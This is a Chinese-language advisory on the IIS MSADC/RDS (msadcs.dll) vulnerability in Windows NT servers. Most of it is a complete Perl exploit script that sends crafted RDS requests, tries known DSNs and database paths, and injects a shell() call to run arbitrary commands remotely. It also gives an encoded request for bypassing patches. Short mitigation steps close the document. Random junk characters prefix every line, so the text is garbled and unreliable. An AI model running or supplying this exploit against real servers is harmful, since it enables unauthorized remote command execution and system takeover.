IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
SGy2&{\Z \K%M.>]vq 涉及程序:
fshG ~L7S9 Microsoft NT server
HKO]_; :( (64es)B}" 描述:
G7-k ,P^ 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
,BGUIu6 PVljb=8F 详细:
tW-[.Y -M, 如果你没有时间读详细内容的话,就删除:
w"QZ7EyJ c:\Program Files\Common Files\System\Msadc\msadcs.dll
4qsxlN>4O 有关的安全问题就没有了。
0u( 0*Xl *0V'rH) 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
{t|#>UCK &^ s8V]^ 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
,jw`9a 关于利用ODBC远程漏洞的描述,请参看:
*O[/-
p&7 @8A[HP http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm }'>mT,ytgk *W,[k&;: 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
Hmx.BBz http://www.microsoft.com/security/bulletins/MS99-025faq.asp P-8QXDdr LH`2Y,E 这里不再论述。
=i;T?*@ OpIeo+^X* 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
w2('75$J UH\{:@GjNO /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
VUHf-bKl 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
E
GZiWBr 1:@ScHS ke<5]&x #将下面这段保存为txt文件,然后: "perl -x 文件名"
{7%HK2=' \\Q){\S #!perl
3kF+wifsz #
R1%J6wZq # MSADC/RDS 'usage' (aka exploit) script
Q%J,:J #
S}]B |Q # by rain.forest.puppy
OZ"76|H1` #
!g=b=YK # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
R2 J A(Hn # beta test and find errors!
=
8y,7u) jWh)bsqI! use Socket; use Getopt::Std;
!)W#|sys& getopts("e:vd:h:XR", \%args);
[EZ=t k Y(?SE< 4R print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
|68/FJZ,5 -O-?hsV)y if (!defined $args{h} && !defined $args{R}) {
g4 +Hq * print qq~
&uBfsa$ Usage: msadc.pl -h <host> { -d <delay> -X -v }
B8.}9 -h <host> = host you want to scan (ip or domain)
a+a6P5kJ -d <seconds> = delay between calls, default 1 second
/nX_Q?mo -X = dump Index Server path table, if available
zzW$F)X -v = verbose
l]&x~K} -e = external dictionary file for step 5
nvNF~)mu + DE/DR: Or a -R will resume a command session
&1`Y&x:p H/;AlN|! ~; exit;}
<$25kb R5K JV'aqnb.8\ $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
j*4:4B% if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
5tLb
o if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
|Sua4~yL( if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
=#<bB)59 $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
X{ 6a if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
BB(v,W DVKb`KJ" if (!defined $args{R}){ $ret = &has_msadc;
`R.Pz _oe die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
T,vh=UF%] Q|S>C%4? print "Please type the NT commandline you want to run (cmd /c assumed):\n"
.P?n<n# . "cmd /c ";
2Yd@V} $in=<STDIN>; chomp $in;
[cl+AV " $command="cmd /c " . $in ;
2cRru]VZ5 IXm[c@5l if (defined $args{R}) {&load; exit;}
$%
gz ,{ . n)R@&9 print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
ue'dI &try_btcustmr;
Z'}%Mkm`i} ozl!vf# kv print "\nStep 2: Trying to make our own DSN...";
;vX1U8 &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
M}@>h |k%1mE(+=s print "\nStep 3: Trying known DSNs...";
5ddfdIp &known_dsn;
Ld/6{w4ir *">CEQ[MT print "\nStep 4: Trying known .mdbs...";
EV w {G< &known_mdb;
D<<q5gG Wv;,@xTZ if (defined $args{e}){
?.lo[X<,* print "\nStep 5: Trying dictionary of DSN names...";
DBLM0*B &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
IXR'JZ?fH 'RzO`-dr print "Sorry Charley...maybe next time?\n";
u=vBjaN2_w exit;
gG}H5uN M7 kWJ ##############################################################################
ZU+_nWnl p|dn&<kd sub sendraw { # ripped and modded from whisker
*rHz/& , sleep($delay); # it's a DoS on the server! At least on mine...
_9p79S<+ my ($pstr)=@_;
d"Wuu1tEY socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
-p>1:M < die("Socket problems\n");
Q6e7Z-8 if(connect(S,pack "SnA4x8",2,80,$target)){
Cg`lQYU select(S); $|=1;
7l~^KsX print $pstr; my @in=<S>;
*,*O.#<6 select(STDOUT); close(S);
~kSOYvK$' return @in;
t*A[v } else { die("Can't connect...\n"); }}
IA[:-2_ S $o1Q ##############################################################################
B'`25u_e< EN":}!E: sub make_header { # make the HTTP request
g;nLR<] my $msadc=<<EOT
v2p0EOS POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
n"D` = User-Agent: ACTIVEDATA
=NI?Jk*iAq Host: $ip
1,Mm+_)B Content-Length: $clen
&/)B d% Connection: Keep-Alive
8"-=+w.CZ HIvSpO ADCClientVersion:01.06
u U>L ( Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
'gg<)Bd g`fMHU7 --!ADM!ROX!YOUR!WORLD!
i^ |G Content-Type: application/x-varg
3/yt Content-Length: $reqlen
dC-~=}HR^ KRcB_( EOT
',t*:GBZCf ; $msadc=~s/\n/\r\n/g;
ZZTf/s* return $msadc;}
]FIIs58IM ~K<h~TNP ##############################################################################
,r]H+vWS -38"S;M8 sub make_req { # make the RDS request
o^*: my ($switch, $p1, $p2)=@_;
.>.GQUr my $req=""; my $t1, $t2, $query, $dsn;
#=33TvprR2 G +41D if ($switch==1){ # this is the btcustmr.mdb query
bj6Yz,g F $query="Select * from Customers where City=" . make_shell();
}Bsh!3D<. $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
#)twk`!^ $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
X"r.*fb;N YZSQOLN{ elsif ($switch==2){ # this is general make table query
Ldv,(ZV,< $query="create table AZZ (B int, C varchar(10))";
o$+R $dsn="$p1";}
-1v9 r Dlu& elsif ($switch==3){ # this is general exploit table query
Nq8 3 6HL $query="select * from AZZ where C=" . make_shell();
u~Po5W/i $dsn="$p1";}
gW--[ >wt.)c?5 elsif ($switch==4){ # attempt to hork file info from index server
kD%MFT4 $query="select path from scope()";
y %61xA`# $dsn="Provider=MSIDXS;";}
xU0iz{9 ^"54Q^SH elsif ($switch==5){ # bad query
|uw48*t $query="select";
Fw{@RQf8 $dsn="$p1";}
.35~+aqC xE^G*<mj: $t1= make_unicode($query);
vc p{Gf|^ $t2= make_unicode($dsn);
*i:8g( $req = "\x02\x00\x03\x00";
l>pB\<LL $req.= "\x08\x00" . pack ("S1", length($t1));
xRhGBb{@s $req.= "\x00\x00" . $t1 ;
oq!\100 $req.= "\x08\x00" . pack ("S1", length($t2));
K\XQE50 $req.= "\x00\x00" . $t2 ;
F~
\ONO5 $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
hif;atO return $req;}
?Fny_{&^H ort*Ux)
##############################################################################
CsycR @[ ?YZgH>7" sub make_shell { # this makes the shell() statement
#0uu19+} return "'|shell(\"$command\")|'";}
jQ%1lQ#R) "5
~{ ##############################################################################
sCzpNJ"8
Zy;jp*Q sub make_unicode { # quick little function to convert to unicode
HJ]e%og my ($in)=@_; my $out;
+ZW>JjP* for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
rOt{bh6r return $out;}
%7aJSuQN% T&>65`L ##############################################################################
r"h09suZBW Z$KyK.FUU sub rdo_success { # checks for RDO return success (this is kludge)
%N~c9B my (@in) = @_; my $base=content_start(@in);
)e`9U.C if($in[$base]=~/multipart\/mixed/){
A^X\ return 1 if( $in[$base+10]=~/^\x09\x00/ );}
('C)S)98C return 0;}
ecz-jZ!
` Y,Z$U| U ##############################################################################
stUv! hLgX0QV sub make_dsn { # this makes a DSN for us
m?B=?;B9# my @drives=("c","d","e","f");
Fs $FR-x print "\nMaking DSN: ";
|gP) lR foreach $drive (@drives) {
*P/A&"i[E print "$drive: ";
l9=Ka{$^* my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
;w"h n* "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
bO/r1W . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
(:`4*xK
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
JU^Y27 return 0 if $2 eq "404"; # not found/doesn't exist
VV/T)qEe7> if($2 eq "200") {
/4pYhJ8S foreach $line (@results) {
lqL5V"2Y return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
t`|Rn9- } return 0;}
@YH>|{S& 4_j_!QH87 ##############################################################################
ov, V'W*'wo sub verify_exists {
E=,5%>C0#% my ($page)=@_;
.`+~mQ
Wn my @results=sendraw("GET $page HTTP/1.0\n\n");
Sq_.RU return $results[0];}
TsoxS/MI" c|9g=DjK ##############################################################################
a]V8F&)g# h~Z &L2V sub try_btcustmr {
zc;kNkV#1Y my @drives=("c","d","e","f");
KO#kIM- my @dirs=("winnt","winnt35","winnt351","win","windows");
k# Ho7rS& kJf0..J[#< foreach $dir (@dirs) {
8\'tfHL print "$dir -> "; # fun status so you can see progress
hOZTD0 foreach $drive (@drives) {
Eze w@*( print "$drive: "; # ditto
f:~G) $reqlen=length( make_req(1,$drive,$dir) ) - 28;
/N*<Fq7w~ $reqlenlen=length( "$reqlen" );
Nh^I{%.x $clen= 206 + $reqlenlen + $reqlen;
!9$}1_,is db_?da;!` my @results=sendraw(make_header() . make_req(1,$drive,$dir));
R0*P,~L;| if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
U9b[t else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
exiu;\+j cRr3!<EZ ##############################################################################
;r"r1'a+@ %gFIu.c sub odbc_error {
l6w\E=K my (@in)=@_; my $base;
>\pF5a` my $base = content_start(@in);
P(7el if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
Qfy_@w] $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
z,m3U( $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
_oBx:G6E $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
]] 0 M return $in[$base+4].$in[$base+5].$in[$base+6];}
86-Rm print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
?r&~(<^z print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
r5hkxk' $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
E8sM`2z5 I
F!xZ6X8 ##############################################################################
T|S-?X, ;ZI8vFb sub verbose {
,#,K_oz my ($in)=@_;
?87\_wL/j return if !$verbose;
Vfy@?x=
& print STDOUT "\n$in\n";}
p7`9
d1n _/>I-\xWA ##############################################################################
>@bU8}rT +<xQF sub save {
@"fv[=Xb my ($p1, $p2, $p3, $p4)=@_;
!=.y[Db= open(OUT, ">rds.save") || print "Problem saving parameters...\n";
eza"<uBr print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
YzZj=]\`b close OUT;}
-th.(eAx CckfoJ 9 ##############################################################################
Sft
vN- |-\anby< sub load {
DPW^OgL; my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
Lc}hjK open(IN,"<rds.save") || die("Couldn't open rds.save\n");
L7rr/D @p=<IN>; close(IN);
5TuwXz1v $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
e#mf{1& $target= inet_aton($ip) || die("inet_aton problems");
EmUn&p%hI print "Resuming to $ip ...";
!*&5O~dfN $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
{4vWSb if($p[1]==1) {
|#cqxr " $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
GOA
dhh- $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
g_l-@ my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
_7:Bxx4B if (rdo_success(@results)){print "Success!\n";}
*:
FS/ir else { print "failed\n"; verbose(odbc_error(@results));}}
LNk :PD0m elsif ($p[1]==3){
RXAE
jzf if(run_query("$p[3]")){
Z*q&^/N print "Success!\n";} else { print "failed\n"; }}
@]~.-(IMh elsif ($p[1]==4){
;rL1[qwk if(run_query($drvst . "$p[3]")){
ceks~[rP print "Success!\n"; } else { print "failed\n"; }}
Z P|k3
exit;}
]Ri=*KZa xV14Y9 ##############################################################################
.bp#YU,m 58#nYt sub create_table {
[W$Mn.5<s my ($in)=@_;
)_ !a: $reqlen=length( make_req(2,$in,"") ) - 28;
S#p_Y^A $reqlenlen=length( "$reqlen" );
z0ufLxq $clen= 206 + $reqlenlen + $reqlen;
Il@K8?H@ my @results=sendraw(make_header() . make_req(2,$in,""));
>ZPu$=[W return 1 if rdo_success(@results);
[Nm?qY my $temp= odbc_error(@results); verbose($temp);
4x+[?fw return 1 if $temp=~/Table 'AZZ' already exists/;
Q/Z>w+zh# return 0;}
[vb#W!M&| 3*%+NQIj ##############################################################################
RfvvX$ /[>_Ry, sub known_dsn {
NkGtZ.!pk # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
>+i+_^] my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
Er@xrhH "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
M8Bp-_ "banner", "banners", "ads", "ADCDemo", "ADCTest");
"\;n t5L =m (u=|N3 foreach $dSn (@dsns) {
0k\,z(e print ".";
kP('X/ next if (!is_access("DSN=$dSn"));
M+ <SSi" if(create_table("DSN=$dSn")){
^5~x*=_ print "$dSn successful\n";
FYC]^D if(run_query("DSN=$dSn")){
E3S0u7Es print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
0)K~pV0aT print "Something's borked. Use verbose next time\n";}}} print "\n";}
n?OMfx *HV_$^)= ##############################################################################
TK'y- 5W IpzU=+h sub is_access {
m$_l{|4z my ($in)=@_;
*tpS6{4=#7 $reqlen=length( make_req(5,$in,"") ) - 28;
A9ld9R $reqlenlen=length( "$reqlen" );
4<1V $clen= 206 + $reqlenlen + $reqlen;
1l^[%0 my @results=sendraw(make_header() . make_req(5,$in,""));
t6-fG/Kc my $temp= odbc_error(@results);
SufM~9Ll verbose($temp); return 1 if ($temp=~/Microsoft Access/);
_[&.`jTFn return 0;}
G){+.X4g3 9CwtBil<#g ##############################################################################
M{)eA<6 A\7sP = sub run_query {
_f>)G3p my ($in)=@_;
.@;5" $reqlen=length( make_req(3,$in,"") ) - 28;
d?YSVmG $reqlenlen=length( "$reqlen" );
sLTQm*jL $clen= 206 + $reqlenlen + $reqlen;
qycf;Kl:6 my @results=sendraw(make_header() . make_req(3,$in,""));
nZNS}|6 return 1 if rdo_success(@results);
tNZZCdB my $temp= odbc_error(@results); verbose($temp);
<Mo{o2F= return 0;}
8VG~n?y ~LFM,@ ##############################################################################
+[i r7?Y. 5HbJE' sub known_mdb {
+B+cN[d my @drives=("c","d","e","f","g");
O<>+l*bk my @dirs=("winnt","winnt35","winnt351","win","windows");
.pl,ujv my $dir, $drive, $mdb;
@*6_Rp"@ my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
o^d|/; }NV<k # this is sparse, because I don't know of many
zU0JwZi my @sysmdbs=( "\\catroot\\icatalog.mdb",
86qQ"=v "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
dn42'(p@G "\\system32\\certmdb.mdb",
Ik5-ooZ&{ "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
a.O"I3{?h (<OmYnm my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
T51oNO%^ "\\cfusion\\cfapps\\forums\\forums_.mdb",
I-J%yutB "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
EXW?)_pg "\\cfusion\\cfapps\\security\\realm_.mdb",
Ty!V)i "\\cfusion\\cfapps\\security\\data\\realm.mdb",
J-
l[dC "\\cfusion\\database\\cfexamples.mdb",
qOyS8tA.H "\\cfusion\\database\\cfsnippets.mdb",
P$ b5o "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
fyx Q{J "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
NX;{L#lQ "\\cfusion\\brighttiger\\database\\cleam.mdb",
BjjuZN& "\\cfusion\\database\\smpolicy.mdb",
SZ4@GK "\\cfusion\\database\cypress.mdb",
Ut1s~b1 "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
MD4mh2 "\\website\\cgi-win\\dbsample.mdb",
]5ibg"{S "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
T# tFzbr "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
/d}5R@Oy ); #these are just
0&&P+adk foreach $drive (@drives) {
drwxrZt foreach $dir (@dirs){
=''*'a-P foreach $mdb (@sysmdbs) {
?"}U?m= print ".";
0,__{?! if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
v )2yR~J print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
{JKG-0)z? if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
chuJj
IY print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
n*|8(fD } else { print "Something's borked. Use verbose next time\n"; }}}}}
1T,Bd!g
%>O}bdSf foreach $drive (@drives) {
Xpkj44cd@ foreach $mdb (@mdbs) {
iztF print ".";
|VM=:}s& if(create_table($drv . $drive . $dir . $mdb)){
`q\v~FT print "\n" . $drive . $dir . $mdb . " successful\n";
lY[1P|] if(run_query($drv . $drive . $dir . $mdb)){
McdK!V print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
9Y2(.~w6X } else { print "Something's borked. Use verbose next time\n"; }}}}
3],(oQq^ }
FY+@fy ^:O*Sx.CA ##############################################################################
7
X~JLvN q}g0-Da sub hork_idx {
VF7H0XR/k5 print "\nAttempting to dump Index Server tables...\n";
wmP[\^c%$j print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
`"iPJw14 $reqlen=length( make_req(4,"","") ) - 28;
qX[C% $reqlenlen=length( "$reqlen" );
+$^[r $clen= 206 + $reqlenlen + $reqlen;
e5ww~%, my @results=sendraw2(make_header() . make_req(4,"",""));
RD:LNl<0sh if (rdo_success(@results)){
= j
l(Q my $max=@results; my $c; my %d;
'@QK<!%, for($c=19; $c<$max; $c++){
]<fZW"W<q $results[$c]=~s/\x00//g;
}4Gn$'e $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
R3BK\kf& $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
]HG>Og $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
MAc/ T.[ $d{"$1$2"}="";}
~~ty9;KYL foreach $c (keys %d){ print "$c\n"; }
^M1O) } else {print "Index server doesn't seem to be installed.\n"; }}
T?-K}PUcQ ; Oz
p ##############################################################################
fX&g. fH Hu!<GB~ sub dsn_dict {
B=%YD"FAv open(IN, "<$args{e}") || die("Can't open external dictionary\n");
_xP@kN~ while(<IN>){
n2(\pQKm $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
=G rg next if (!is_access("DSN=$dSn"));
h{E9rc1, if(create_table("DSN=$dSn")){
lg jY\? print "$dSn successful\n";
+k if(run_query("DSN=$dSn")){
7H[.o~\ print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
6SSrkj }U print "Something's borked. Use verbose next time\n";}}}
?Y$3R"p@3` print "\n"; close(IN);}
/q`f3OV" DEzL] 1;P ##############################################################################
wS:`c
J F2=#\U$ sub sendraw2 { # ripped and modded from whisker
QVN@B[9 sleep($delay); # it's a DoS on the server! At least on mine...
$)(Zt^ my ($pstr)=@_;
@Z~0!VY socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
Ti5"a<R4m6 die("Socket problems\n");
3SOrM if(connect(S,pack "SnA4x8",2,80,$target)){
x C>>K6Nb print "Connected. Getting data";
00A2[gO9 open(OUT,">raw.out"); my @in;
`[f IK, select(S); $|=1; print $pstr;
-n$hm+S while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
7q^a@5f BG close(OUT); select(STDOUT); close(S); return @in;
T!5g:;~y > } else { die("Can't connect...\n"); }}
072`i46 JG'&anbm ##############################################################################
d8f S79 4wwRNu* sub content_start { # this will take in the server headers
PF;`mdi-, my (@in)=@_; my $c;
!=+hU/e for ($c=1;$c<500;$c++) {
4f,%@s)zn if($in[$c] =~/^\x0d\x0a/){
}e,*'mCC* if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
9kU|?JE else { return $c+1; }}}
js=w!q0)9 return -1;} # it should never get here actually
XZPq4(,9} Uw>g^[V; ##############################################################################
E`3[62C Z9PG7h sub funky {
]<E\J+5K my (@in)=@_; my $error=odbc_error(@in);
4*+)D8 if($error=~/ADO could not find the specified provider/){
T(eNK
c2 print "\nServer returned an ADO miscofiguration message\nAborting.\n";
}nNCgH exit;}
r6`KZ TU if($error=~/A Handler is required/){
[UaM}-eR print "\nServer has custom handler filters (they most likely are patched)\n";
XE*#5u8t exit;}
*U4eL- if($error=~/specified Handler has denied Access/){
:WN*wd print "\nServer has custom handler filters (they most likely are patched)\n";
>K;C?gHo exit;}}
ljj}XJQ <F5x}i~(C ##############################################################################
N%QVkuCbM q%}54E80 sub has_msadc {
+p)kemJ~ my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
@X0$X+]E*8 my $base=content_start(@results);
H52] Zm return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
3sBu`R*hk return 0;}
s$OnQc2/ \Ot,&Z k2 ########################
p< jM%fbZk ais"xm<V [,p[%Dza 解决方案:
sBu- \P# 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
C+c;UzbD 2、移除web 目录: /msadc